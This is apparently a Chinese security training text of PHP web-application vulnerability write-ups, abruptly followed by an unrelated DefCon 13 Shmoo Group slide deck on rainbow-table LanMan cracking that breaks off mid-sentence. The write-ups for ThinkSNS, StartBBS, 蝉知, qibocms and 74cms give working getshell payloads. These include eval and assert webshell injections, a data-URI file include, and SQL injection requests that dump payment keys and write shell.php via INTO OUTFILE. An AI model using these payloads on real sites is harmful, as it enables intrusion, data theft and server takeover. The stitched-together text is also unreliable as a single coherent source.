model('Comment')->getCommentInfo($var['comment_id'], false); $var['canrepost'] = $var['commentInfo']['table'] == 'feed' ? 1 : 0; $var['cancomment'] = 1; // 获取原作者信息 $rowData = model('Feed')->get(intval($var['commentInfo']['row_i d'])); $appRowData = model('Feed')->get($rowData['app_row_id']); $var['user_info'] = $appRowData['user_info']; // 微博类型 $var['feedtype'] = $rowData['type']; // $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0; $var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['us er_info']['uname'].' :'; // 回复 $this->assign($var); $this->display(); } 不管中间过程,$var 被赋值被$_GET,并在最后进入了 assign 函数 \core\OpenSociax\Action.class.php assign public function assign($name,$value='') { - 164 - if(is_array($name)) { $this->tVar = array_merge($this->tVar,$name); }elseif(is_object($name)){ foreach($name as $key =>$val) $this->tVar[$key] = $val; }else { $this->tVar[$name] = $value; } } assign 其实就是给模板变量赋值,也就是说我们的$_GET 最后进入 了模板变量中。 然后回到一开始的 reply 函数,可以看到在最后调用了 display: \core\OpenSociax\functions.inc.php display 函数 // 输出模版 function display($templateFile='',$tvar=array(),$charset='UTF 8',$contentType='text/html') { fetch($templateFile,$tvar,$charset,$contentType,true) ; } fetch 找到相应的模板并和我们提交的变量结合编译之: \core\OpenSociax\Action.class.php fetch 函数 protected function fetch($templateFile='',$charset='utf-8',$contentType ='text/html',$display=false) { - 165 - $this->assign('appCssList',$this->appCssList); $this->assign('langJsList', $this->langJsList); Addons::hook('core_display_tpl', array('tpl'=>$templateFile,'vars'=>$this->tVar,'char set'=>$charset,'contentType'=>$contentType,'display' =>$display)); return fetch($templateFile, $this->tVar, $charset, $contentType, $display); } 把请求转发给真正的 fetch 函数: \core\OpenSociax\functions.inc.php function fetch($templateFile='',$tvar=array(),$charset='utf-8 ',$contentType='text/html',$display=false) { //注入全局变量 ts global $ts; $tvar['ts'] = $ts; //$GLOBALS['_viewStartTime'] = microtime(TRUE); if(null===$templateFile) // 使用 null 参数作为模版名直接返回不做任何输出 return ; if(empty($charset)) $charset = C('DEFAULT_CHARSET'); // 网页字符编码 header("Content-Type:".$contentType."; charset=".$charset); header("Cache-control: private"); //支持页面回跳 //页面缓存 ob_start(); ob_implicit_flush(0); - 166 - // 模版名为空. if(''==$templateFile){ $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html' ; // 模版名为 ACTION_NAME }elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME. '/'.$templateFile.'.html')) { $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.htm l'; // 模版是绝对路径 }elseif(file_exists($templateFile)){ // 模版不存在 }else{ throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templ ateFile.']'); } //模版缓存文件 $templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templat eFile).'.php'; //载入模版缓存 if(!$ts['_debug'] && file_exists($templateCacheFile)) { //if(1==2){ //TODO 开发 extract($tvar, EXTR_OVERWRITE); //exploit! //var_dump($_SESSION); //载入模版缓存文件 include $templateCacheFile; //getshell here! //重新编译 }else{ - 167 - tshook('tpl_compile',array('templateFile',$templateF ile)); // 缓存无效 重新编译 tsload(CORE_LIB_PATH.'/Template.class.php'); tsload(CORE_LIB_PATH.'/TagLib.class.php'); tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php'); $tpl = Template::getInstance(); // 编译并加载模板文件 $tpl->load($templateFile,$tvar,$charset);//getshell here! } ... ... } 分析下这个函数的逻辑: 首先判断模板文件是否存在,不存在则尝试加载默认模板文件,如果 加载失败就异常退出 其次如果模板文件存在,那么该文件是否缓存过,如果缓存过,那么 直接 include 缓存文件,在 include 前使用 extract 对模板变量赋值 如果模板没有缓存,是第一次被调用,那么就编译模板文件并加载它 在使用缓存的时候程序用 extract 对变量进行赋值,可以看到第二个 参数,EXTR_OVERWIRTE,表示如果某变量已经存在,那么就覆盖 这个变量。 下面看看非缓存情况下的处理: - 168 - \core\OpenSociax\Template.class.php load 函数 // 加载模板 public function load($templateFile,$templateVar,$charset) { $this->tVar = $templateVar; $templateCacheFile = $this->loadTemplate($templateFile); // 模板阵列变量分解成为独立变量 extract($templateVar, EXTR_OVERWRITE); //载入模版缓存文件 include $templateCacheFile; } 与缓存情况下相同,也是调用 extract 来覆盖变量,由于第二个参数 的使用,因此如果模板变量可控的话,我们可以覆盖任意变量。 可以覆盖$templateCacheFile 变量,这样变量覆盖就变成了任意文 件包含,并可 getshell. 上传一个 jpg,然后 include 之: 在 allow_url_include 为 on 下可以这样 getshell: - 169 - http://**.**.**.**/thinksns/index.php?app=public&mod =Comment&act=reply&templateCacheFile=data:text/plain; base64,PD9waHAgcGhwaW5mbygpOz8%2b 开源轻论坛 StartBBS 前台 getshell 作者:phith0n 心血来潮读读代码。StartBBS 界面挺清爽的,体积也小。下载下来安 装。 安装好后发现根目录下多了一个 install.lock,一般的 cms 为了防止 被重安装就会在目录下生成一个类似的文件,下次有人再访问安装脚 本的时候,脚本会检测,如果目录下有这个文件就提示“请删除后再安 装”。 原本应该是没有任何问题的。但我们来到安装脚本,/app/controller s/install.php 中,查看它是怎么处理的: class Install extends Install_Controller { function __construct () { parent::__construct(); $this->load->library('myclass'); $file=FCPATH.'install.lock'; if (file_exists($file)){ - 170 - $this->myclass->notice('alert("系统已安装过 ");window.location.href="'.site_url().'";'); } } 看到这里我就笑了。构造函数里检查是否存在 install.lock,然后 用 javascript 的方式告诉用户“系统已安装过”,然后跳转。但是这个 脚本根本还没有结束嘛,这个类里的函数都可以运行,并不因为返回 了一个 window.location.href 就停止运行。 (this->myclass->notice()中也没有停止运行的代码) 然后,在往下翻,就能看到安装的函数: public function step($step) { $data['step']=$step; if($step==1 || $step==2){ $data['permission'] = $this->_checkFileRight(); $this->load->view('install',$data); } if($step==3){ $this->_install_do(); } } function _install_do() { $data['step']=3; if($_POST){ $dbhost = $this->input->post('dbhost'); $dbport = $this->input->post('dbport'); - 171 - $dbname = $this->input->post('dbname'); $dbuser = $this->input->post('dbuser'); $dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpw d'):''; $dbprefix = $this->input->post('dbprefix'); $userid = $this->input->post('admin'); $pwd = md5($this->input->post('pwd')); $email = $this->input->post('email'); $sub_folder = '/'.$this->input->post('base_url').'/'; $conn = mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpwd); if (!$conn) { die('无法连接到数 据库服务器,请检查用户名和密码是否正确'); } if($this->input->post('creatdb')){ if(!@mysql_query('CREATE DATABASE IF NOT EXISTS '.$dbname)){ die('指 定的数据库('.$dbname.')系统尝试创建失败,请通过其他方式建立数 据库'); } } - 172 - if(!mysql_select_db($dbname,$conn)){ die($dbname.'数 据库不存在,请创建或检查数据名.'); } $sql = file_get_contents(FCPATH.'app/config/startbbs.sql'); $sql = str_replace("sb_",$dbprefix,$sql); $explode = explode(";",$sql); $data['msg1']="创建表".$dbname."成功,请稍 后……<br/>"; foreach ($explode as $key=>$value){ if(!empty($value)){ if(trim($value)){ mysql_query($va } } } $password = $pwd; $ip=$this->myclass->get_ip(); $insert= "INSERT INTO ".$dbprefix."users (group_type,gid,is_active,username,password,email,re gtime,ip) VALUES ('0','1','1','".$userid."','".$password."','".$email. "','".time()."','".$ip."')"; - 173 - mysql_query($insert); mysql_close($conn); $data['msg2']="安装完成,正在保存配置文件,请稍 后……"; $dbconfig = "<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n" ."\$active_group = 'default';\n" ."\$active_record = TRUE;\n" ."\$db['default']['hostname'] = '".$dbhost."';\n" ."\$db['default']['port'] = '".$dbport."';\n" ."\$db['default']['username'] = '".$dbuser."';\n" ."\$db['default']['password'] = '".$dbpwd."';\n" ."\$db['default']['database'] = '".$dbname."';\n" ."\$db['default']['dbdriver'] = 'mysql';\n" ."\$db['default']['dbprefix'] = '".$dbprefix."';\n" - 174 - ."\$db['default']['pconnect'] = TRUE;\n" ."\$db['default']['db_debug'] = TRUE;\n" ."\$db['default']['cache_on'] = FALSE;\n" ."\$db['default']['cachedir'] = 'app/cache';\n" ."\$db['default']['char_set'] = 'utf8';\n" ."\$db['default']['dbcollat'] = 'utf8_general_ci';\n" ."\$db['default']['swap_pre'] = '';\n" ."\$db['default']['autoinit'] = TRUE;\n" ."\$db['default']['stricton'] = FALSE;"; $file = FCPATH.'/app/config/database.php'; file_put_contents($file,$dbconfig); //保存 config 文 件 if($sub_folder){ $this->config->update('myconfig','sub_folder', $sub_folder); } - 175 - $encryption_key = md5(uniqid()); if($encryption_key){ $this->config->update('myconfig','encryption_ key', $encryption_key); } $data['msg3']="保存配置文件完成!"; touch(FCPATH.'install.lock'); $data['msg4']="创建锁定安装文件 install.lock 成功 "; $data['msg5']="安装 startbbs 成功!"; } $this->load->view('install',$data); } 当 step 函数的参数为 3 时,就执行安装函数_install_do(),这个函数里 初始化了数据库,并把数据库配置文件写入了 “/app/config/database.php”。于是,我们可以构造一下数据包直接把 一句话写入到这个配置文件里。 我们看到,这个函数接收了许多 post 数据: $dbhost = $this->input->post('dbhost'); $dbport = $this->input->post('dbport'); $dbname = $this->input->post('dbname'); $dbuser = $this->input->post('dbuser'); - 176 - $dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):''; $dbprefix = $this->input->post('dbprefix'); $userid = $this->input->post('admin'); $pwd = md5($this->input->post('pwd')); $email = $this->input->post('email'); $sub_folder = '/'.$this->input->post('base_url').'/'; 其中 dbhost、dbport、dbname、dbuser、dbpwd 都不能随便乱写, 乱写的话安装就会出错,而 userid、pwd、email、sub_folder 都是写 入数据库的,不写入配置文件。所以就剩下 dbprefix 了,所以我们可以 这样构造这个字段: dbprefix=sb_';@eval ($_POST[101]);$xxx=' 蝉知企业门户系统 v2.5 前台 getshell 作者:roker module/file/control.php public function ajaxUpload($uid) { $file = $this->file->getUpload('imgFile'); $file = $file[0]; if($file) { if(!$this->file->checkSavePath()) $this->send(array('error' => 1, 'message' => $this->lang->file->errorUnwritable)); - 177 - move_uploaded_file($file['tmpname'], $this->file->savePath . $file['pathname']); if(in_array(strtolower($file['extension']), $this->config->file->imageExtensions) !== false) { $this->file->compressImage($this->file->savePath . $file['pathname']); $imageSize = $this->file->getImageSize($this->file->savePath . $file['pathname']); $file['width'] = $imageSize['width']; $file['height'] = $imageSize['height']; } $url = $this->file->webPath . $file['pathname']; $file['addedBy'] = $this->app->user->account; $file['addedDate'] = helper::now(); $file['editor'] = 1; unset($file['tmpname']); $this->dao->insert(TABLE_FILE)->data($file)->exec(); $_SESSION['album'][$uid][] = $this->dao->lastInsertID(); die(json_encode(array('error' => 0, 'url' => $url))); } } 这个上传文件的 跟到 - 178 - public function getUpload($htmlTagName = 'files') { $files = array(); if(!isset($_FILES[$htmlTagName])) return $files; /* The tag if an array. */ if(is_array($_FILES[$htmlTagName]['name'])) { extract($_FILES[$htmlTagName]); foreach($name as $id => $filename) { if(empty($filename)) continue; $file['extension'] = $this->getExtension($filename); 继续跟进 getExtension 函数 public function getExtension($filename) { $extension = pathinfo($filename, PATHINFO_EXTENSION); if(empty($extension)) return 'txt'; if(strpos($this->config->file->dangers, strtolower($extension)) !== false) return 'txt'; return $extension; } dangers 的值是 $config->file->dangers = 'php,jsp,py,rb,asp,'; // Dangerous file types. - 179 - if(strpos($this->config->file->dangers, strtolower($extension)) !== false) return 'txt' 这句话逻辑有点问题,应该把 strpos 的两个参数位置替换下, 例如 我提交 a.php+空格的话 就能 绕过了 qibocms 分 类 系 统 最 新 版 前 台 无 限 制 Getshell 作者:雨 首先来看一下 inc/common.inc.php 中 isset($page) && $page = intval($page); isset($id) && $id = intval($id); - 180 - isset($fup) && $aid = intval($fup); isset($aid) && $aid = intval($aid); isset($rid) && $rid = intval($rid); isset($fid) && $fid = intval($fid); isset($cid) && $cid = intval($cid); isset($cityid) && $cityid = intval($cityid); 可以看到 city_id 在全局文件中被 intval 了。 再看到 search.php 中 $postdb[city_id] && $city_id = $postdb[city_id $postdb[street_id] && $street_id = $postdb[street_ $postdb[zone_id] && $zone_id = $postdb[zone_id @include_once(ROOT_PATH."data/zone/$city_id.php");// 包含 $city_fid=select_where("{$_pre}city","'postdb[city_i d]' onChange=\"choose_where('getzone',this.options[this. selectedIndex].value,'','1','')\"",$city_id); 全局有转义 截断不了 但是因为 qibo 的特殊性 在 qibo 的后台文件当中 function_exists('html') OR exit('ERR'); 所以直接访问是不行的。 是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含 进来 然后进而操作后台。 所以 qibo 在操作包含的文件中都用正则来过滤了, 却遗漏了这里。 - 181 - 但是打开 do/js.php 发现 <?php error_reporting(0); require(dirname(__FILE__)."/../data/config.php"); if(!eregi("^([0-9]+)$",$_GET['id'])){ die("document.write('ID 不存在');"); } 已经把 extract 去掉了, 那就找另外的。 在 admin/hack.php 中 if($hack&&ereg("^([a-z_0-9]+)$",$hack)) { if(is_file(ROOT_PATH."hack/$hack/admin.php")) { include(ROOT_PATH."hack/$hack/admin.php"); }else{ showmsg("文件不存在"); } } 再包含文件 再继续跟。 在 hack/jfadmin/admin.php 中 elseif($action=="addjf"&&$Apower[jfadmin_mod]) { $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )"); - 182 - jump("添加成功 ","index.php?lfj=jfadmin&job=listjf&fid=$fid",1); } 这里入库了。 再看到 do/jf.php 中 $lfjdb && $lfjdb[money]=get_money($lfjdb[uid]); $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");// 这里默认查的都是 1 所以入库的时候 fid 弄为 1 while($rs2 = $db->fetch_array($query2)){ eval("\$rs2[title]=\"$rs2[title]\";");//就 eval 了。 eval("\$rs2[content]=\"$rs2[content]\";"); $jfDB[$rs[fid]][]=$rs2; } } 准备写一句话的时候,却发现了 在 inc/common.inc.php 中 function Add_S($array){ foreach($array as $key=>$value){ @eregi("['\\\"]+",$key) && die('ERROR KEY!'); if(!is_array($value)){ - 183 - $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; } 把 eval 替换了,这样我们就用 assert 把。 http://web/new/fenlei/search.php?mid=1&action=search&key word=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&a ction=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert ($_POST[yu])} http://web/new/fenlei/do/jf.php POST:yu=phpinfo(); 随便找了个测试了下 http://**.**.**.**/do/jf.php - 184 - 漏洞组合 骑士漏洞组合可致所有数据泄露+getshell 作者:龟兔赛跑 刚下了个 74cms_v3.5.1_20141027.zip,diff 了一下发现了下面的改 动: diff -Nurp upload.1020/plus/weixin.php upload.1027/plus/weixin.php --- upload.1020/plus/weixin.php 2014-10-18 12:14:22.000000000 +0800 +++ upload.1027/plus/weixin.php 2014-10-25 14:45:22.000000000 +0800 @@ -21,10 +21,10 @@ class wechatCallbackapiTest extends mysq } public function responseMsg() { - if(!$this->checkSignature()) - 185 - - { - exit(); - } + // if(!$this->checkSignature()) + // { + // exit(); + // } $postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]); if (!empty($postStr)) { 注释调了 checkSignature(),是为了啥????? http://**.**.**.**/bugs/wooyun-2014-075009 曾经分析过这里 的 XXE 漏洞以及 SQLI,不过,被次利用的是另外两个 BUG。 先看 code. class wechatCallbackapiTest extends mysql { public function valid() { $echoStr = $_GET["echostr"]; if($this->checkSignature()) { exit($echoStr); } } public function responseMsg() { // if(!$this->checkSignature()) // { // exit(); // } - 186 - $postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]); if (!empty($postStr)) { // libxml_disable_entity_loader(true); $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $keyword = utf8_to_gbk($keyword); $keyword = addslashes($keyword); $time = time(); $event = trim($postObj->Event); if ($event === "subscribe") { $word= "»ØžŽj·µ»ØœôŒ±ÕÐÆž£¬»ØžŽn·µ»Ø×îÐÂÕÐÆž£¡Äú¿ÉÒÔ³¢ÊÔÊäÈ ëְλÃû³ÆÈç¡°»áŒÆ¡±£¬ÏµÍ³œ«»á·µ»ØÄúÒªÕÒµÄÐÅÏ¢£¬ÎÒÃÇÅ ¬ÁŠŽòÔì×îÈËÐÔ»¯µÄ·þÎñƜ̚£¬Ð»Ð»¹Ø×¢¡£"; $this->exit_word_message($word,$fromUsername, $toUsername,$time); } $default_pic=ROOT."/data/images/".DEFAULT_PIC ; $first_pic=ROOT."/data/images/".FIRST_PIC; if($event === "CLICK"){ - 187 - if($_CFG['weixin_apiopen']=='0') { $word="ÍøÕŸÎ¢ÐŜӿÚÒÑŸ¹Ø±Õ"; $this->exit_word_message($word,$fromUsername, $toUsername,$time); } if($postObj->EventKey=="binding"){ $usinfo = $this->get_user_info($fromUsername); if(!empty($usinfo)){ $word="ÄúÒÑŸ°ó¶š¹ýÁË!"; }else{ $word="ÇëÊäÈëÄúµÄÕ˺ÅÃÜÂë. ÀýÈç:ÕÅÈý/123456"; } $this->exit_word_message($word,$fromUsername, $toUsername,$time); } ... private function get_user_info($fromUsername){ $usinfo = array(); $usinfo_obj = $this->query("select * from ".table('members')." where weixin_openid='".$fromUsername."' limit 1"); while($row = $this->fetch_array($usinfo_obj)){ - 188 - $usinfo = $row; } return $usinfo; } $postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]); 对整个 POST_DATA 做了 addslashes。 $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $usinfo = $this->get_user_info($fromUsername); ===> $this->query("select * from ".table('members')." where weixin_openid='".$fromUsername."' limit 1"); $fromUsername 从 simplexml_load_string()后就直接进入了 SQL 中,addslashes($GLOBALS["HTTP_RAW_POST_DATA"])就解决了 所有问题么?答案是否定的。因为 XML 中特殊字符也可以编码: 特殊字符 特殊含义 实体编码 > 开始标记 &gt; < 结束标记 &lt; " 引号 &quot; ' 撇号 &apos; & 和号 &amp; 也就是说在 XML 中使用&apos 就把'号注入进去了,并且这里 post data 没有任何过滤,可以注入任何 SQL 语句,所以我们可以导出整个数据库, 甚至 getshell. - 189 - 看到下面的代码,也许有人会说,这里是有条件的,因为这里判断了 $_CFG['weixin_apiopen']=='0')。 if($event === "CLICK"){ if($_CFG['weixin_apiopen']=='0') { $word="ÍøÕŸÎ¢ÐŜӿÚÒÑŸ¹Ø±Õ"; $this->exit_word_message($word,$fromUsername, $toUsername,$time); } 不过,这里的$_CFG['weixin_apiopen']真的有效么?下面的代码可以 告诉我们: <?php $_CFG = 0; class Test { function myprint() { echo "$_CFG in class=" . $_CFG; } } echo "in file =" . $_CFG; $tt = new Test(); $tt->myprint(); ?> 在浏览器访问一下**.**.**.**:8081/74cms/test.php,结果为: in file =0 Notice: Undefined variable: _CFG in /var/www/html/74cms/test.php on line 7 - 190 - Notice: Undefined variable: _CFG in /var/www/html/74cms/test.php on line 7 in class= 也就是在 class object 里面访问$_CFG 是无效的。 那么,那么, $_CFG['weixin_apiopen']=='0' 这个条件就是永远都不会成立的,不管你后台开不开 weixin_api。 好了,所有条件限制都排除了,可以直接注入了。 一下为 74cms_v3.5.1_20141027 默认安装测试: POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325 5bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: **.**.**.**:8081 Content-Length: 155 <xml> <ToUserName>111</ToUserName> <FromUserName>1111&apos;</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> UNION SELECT: - 191 - POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325 5bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: **.**.**.**:8081 Content-Length: 226 <xml> <ToUserName>111</ToUserName> <FromUserName>1111&apos; union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 1,22#</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> 获取支付相关的 key: POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325 5bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: **.**.**.**:8081 Content-Length: 303 <xml> <ToUserName>111</ToUserName> <FromUserName>1111&apos; union select (select group_concat(id,0x7c,typename,0x7c,ytauthkey,0x5d) from - 192 - qs_payment),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22#</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>apply_jobs</EventKey> </xml> getshell: POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325 5bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: **.**.**.**:8081 Content-Length: 324 <xml> <ToUserName>111</ToUserName> <FromUserName>1111&apos; union select 0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE &apos;/var/www/html/74cms/data/shell.php&apos; #</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> 这是因为写 shell.php 需要有写权限,data 目录不行。 但是,但是,我们也可以找一个肯定有写权限的目录: 注册一个普通用户,长传一个头像,这是会建立 0777 权限的目录: 'data/avatar/100/2014',shell 就传到这个目录吧。 - 193 - POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325 5bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: **.**.**.**:8081 Content-Length: 340 <xml> <ToUserName>111</ToUserName> <FromUserName>1111&apos; union select 0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE &apos;/var/www/html/74cms/data/avatar/100/2014/shell. php&apos; #</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> - 194 - Dark' Evil 培训教材
pdf
DefCon 13 Shmoo-Fu: Hacker Goo, Goofs, and Gear with the Shmoo The Shmoo Group www.shmoo.com DefCon 13 Stickers anyone? DefCon 13 What's up Shmoo? ● Howdy & introductions... ● Our festivities will include: – Super Spy Stuff – IDN Fallout & Homograph Attacks for Personal Identities – Revving Up Rainbow Tables – Rogue Squadron & EAP Peeking – Shooting Your Security Wad – Don't Try This at Home – And MORE! DefCon 13 Super Spy Stuff ● Robots got boring, so Pablos starting hanging out with models after his chic hacker photo shoot in FHM. ● The result was nothing short of spectacular, as the fashionable cell-phone stowaway strifes hot women face were finally addressed. DefCon 13 DefCon 13 And now... Pablos. DefCon 13 DefCon 13 3ricj? DefCon 13 IDN Fallout ● At ShmooCon 2005, Eric Johansen dropped the browser bomb regarding IDN issues. ● The press ran with it a bit. ● The folks responsible for IDN ranted for a bit. ● But did anything concrete occur? ● And where are we now? DefCon 13 Dan Moniz goes crazy... DefCon 13 rainbowtables.shmoo.com ● We think rainbow tables are neat. ● Just for fun, we started hosting rainbow tables that we had generated. – LanMan – Via Bittorrent – FREE ● Some people liked that. Yay! ● Some people didn't... DefCon 13 ---------- Forwarded message ---------- From: Zhu Shuanglei <[email protected]> Date: Mar 10, 2005 12:42 AM Subject: About your shmoo site To: [email protected] Hi, I am Zhu Shuanglei, the author of RainbowCrack software. I notice you are offering free BitTorrent links on your website for the rainbow tables. For those guys selling the table without permission from me, they are not welcome. But you are worse. As you may know, I develop the rainbowcrack tool and release it the the public for free. I just want to introduce the technique to the world and those need it can benifit from this software. If I sell the tables, I am only making some money for my work and for the fee of hosting my website and for my computing resource. This should be quite reasonable. I am not a business man, if I am there will not be the source code or table generation tool free on the net and I can make a lot of money. Are you feeling you are cool "Because knowing all passwords is cooler than trying to crack one. ;)". All over the world there will be a lot of guys can do what you do, they aren't. Do you know why? To show off prove neither your ability nor your knowledge. If possible, please keep honour of my intellectual property of this software, and let those need the tables to generate by themself. If everyone act like you there will be no reason for me to develop this software further or develop other useful software. Or I will never release anything useful to the public. Don't be crazy any more! Best Regards, Zhu Shuanglei DefCon 13 Revving Up Rainbow Tables ● So, badass LanMan tables are online now via Bittorrent, and still for FREE. lm_alpha-numeric-symbol32-space.torrent – Join the 43.9 GB torrent!!! ● Meanwhile, Dan decided to “be crazy” a bit more. ● We don't need your stinkin' code, Zhu! ● And Snax says, “FUCK OFF!” DefCon 13 Unnamed Project ● Dan Moniz ● Rev. Dr. Patrick Stach DefCon 13 Improving on RainbowCrack ● We started out trying to optimize RainbowCrack... ● But then we found out that it is teh suck. ● So we changed our approach and made a new tool. ● Doesn't have a name... yet. DefCon 13 Problems with RainbowCrack ● Reduction function bias ● If your keyspace is 6 valid inputs, and you have 2^4 number of outputs, the reduction that RainbowCrack (slightly simplified) does is: (total num of outputs) mod (total num of inputs) = bias marker DefCon 13 Example of Reduction Function Bias 0 mod 6 = 0 1 mod 6 = 1 2 mod 6 = 2 3 mod 6 = 3 4 mod 6 = 4 5 mod 6= 5 6 mod 6 = 0 7 mod 6 = 1 8 mod 6 = 2 9 mod 6 = 3 10 mod 6 = 4 11 mod 6 = 5 12 mod 6 = 0 13 mod 6 = 1 14 mod 6 = 2 15 mod 6 = 3 That's a lot of modulo arithmetic. You'll notice that there are 3 of every value except 4 and 5. We only have two of those. Say that LM had only 6 possible inputs. Say that the algorithm (which in LM is DES) has up to 2^4 outputs (16). DefCon 13 Reduction Function Bias Continued ● By taking an arbitrary random output from the algorithm (we can assume that the algorithm output is random) and modulo it by 6, there's a better chance of the input values being below the bias marker than above. ● Values 0 to 3 have a better chance of being picked at random due to this than the 4-5 values as the next input. DefCon 13 The Real Bias Problem ● This Riemann sum is not an integral factor of 2^64 just as 6 is not an integral factor of 16. ● This modulo arithmetic has a bias. ● You can assume the output of DES is statistically random, or at least random enough that the bias would still be present. DefCon 13 Why this matters ● n = the floored result of (total num of outputs)/ (total num of inputs) ● We'll add 1 if n is below the bias marker to represent the extra chance it has due to the bias ● (1+n)/(total num of outputs) = chance of hitting any one given key out of the input range ● n/(total num of outputs) = chance of hitting any one given key out of the input range ● Values below the bias marker are unfairly weighted and are more likely to be inputs to the rainbow chain generation! DefCon 13 Our Generation Technique (how we avoid bias) ● We start generating at the last possible input and walk towards the first input. ● As we generate we use a bitmask, so we can determine if we have computed the key or not. We have 100% verified keyspace because everything is accounted for. ● At 1 bit per input it requires 768 GB of disk space if we were to do it on one machine. DefCon 13 Our Badass Sorting-Fu ● We separate out anything less than or equal to 6 characters. 7 character keyspace is one table, 5-6 keyspace is another ● We do this so that you can detect the length of the password ● LanMan primer: take 14 bytes of input and split it into two 7 byte parts, hash them independently DefCon 13 LanMan Hashing Examples ● Say you have a password “dog” dog = DOG\0\0\0\0\0\0\0\0\0\0 ● Which goes to... DOG\0\0\0\0 \0\0\0\0\0\0\0 ● You can detect that the first half is 7 characters or less because the second half is the null password hash. DefCon 13 LanMan Hashing Examples ● Now with a password of “spamdadrulz”... spamdadrulz = SPAMDADRULZ\0\0\0 ● Which goes to... SPAMDAD RULZ\0\0\0 ● You know that this hash is 7 characters because the second half of the hash is not the null password hash. ● This decreases the time spent looking through worthless hash values! DefCon 13 RainbowCrack Loses ● RainbowCrack just generates random hashes. ● And has that reduction function bias problem... ● Bad + Suck = l4m3x0r!!! DefCon 13 We Get Our Crack On ● rtcrack reads in as much of the hash table file that rtgen generates using the read() syscall. ● It walks linearly checking to see if the endpoints match on the rainbow chains. ● This has O(n) complexity. DefCon 13 We Get Our Crack On ● We store the start point and the endpoints in separate files at corresponding offsets ● Next we take the page size on x86 (4096 bytes) divided by the entry size (8) plus 1 (for the index) which equals 513 ● So every 513th entry, after we've sorted them lowest to highest, is stored in a special index file ● At crack time, we mmap() the endpoint index file, and use divide and conquer (Fibonacci find) to find out if the endpoint is in this index file, or, if it's not, to which offset the endpoint is referenced in the master index file DefCon 13 We Get Our Search On ● Thus, for each offset it has to read a max of one page of memory off of disk ● 4096 bytes read to check 512 entries ● This is Bayes trees, modified ● Patrick has a Doctorate of Divinity in Searching and Sorting from the Church of Knuth DefCon 13 RainbowCrack Gets An L For Lame ● Disk I/O costs as much CPU time as encryption in RainbowCrack, if not more. ● RainbowCrack fails to account for this in their statistics. DefCon 13 The Seekret Sauce ● Our code is implemented in C and assembly for the IA64 (Itanium2) and running on a classified number of processors. ● Thanks to SGI! ● We also have the generator implemented in VHDL to run as custom specialized hardware to run on Spartan-3 FPGAs. DefCon 13 New Wi-Fi kung-fu from Beetle... DefCon 13 Why oh why do we Wi-Fi? ● Who here has an open wireless network at home? At work? ● Crap! My Tivo can't do WPA. Neither can my PSP. Ummm... does it matter? ● When and where should we Wi- Fi? – Coffee Shops? Airports? Hospitals? Banks? Ummm... Nuclear Power Plants? DefCon 13 DefCon 13 DefCon 13 Where did we go wrong? Where are we going? ● Technology of convenience versus the inconvenience of securing it. ● The poor, poor users were left out in the authentication cold. ● Half-ass security standards pass the buck and / or provide defacto insecure options. ● Security acronyms have taken precedence over proper implementation. DefCon 13 DefCon 13 DefCon 13 How the FUCK 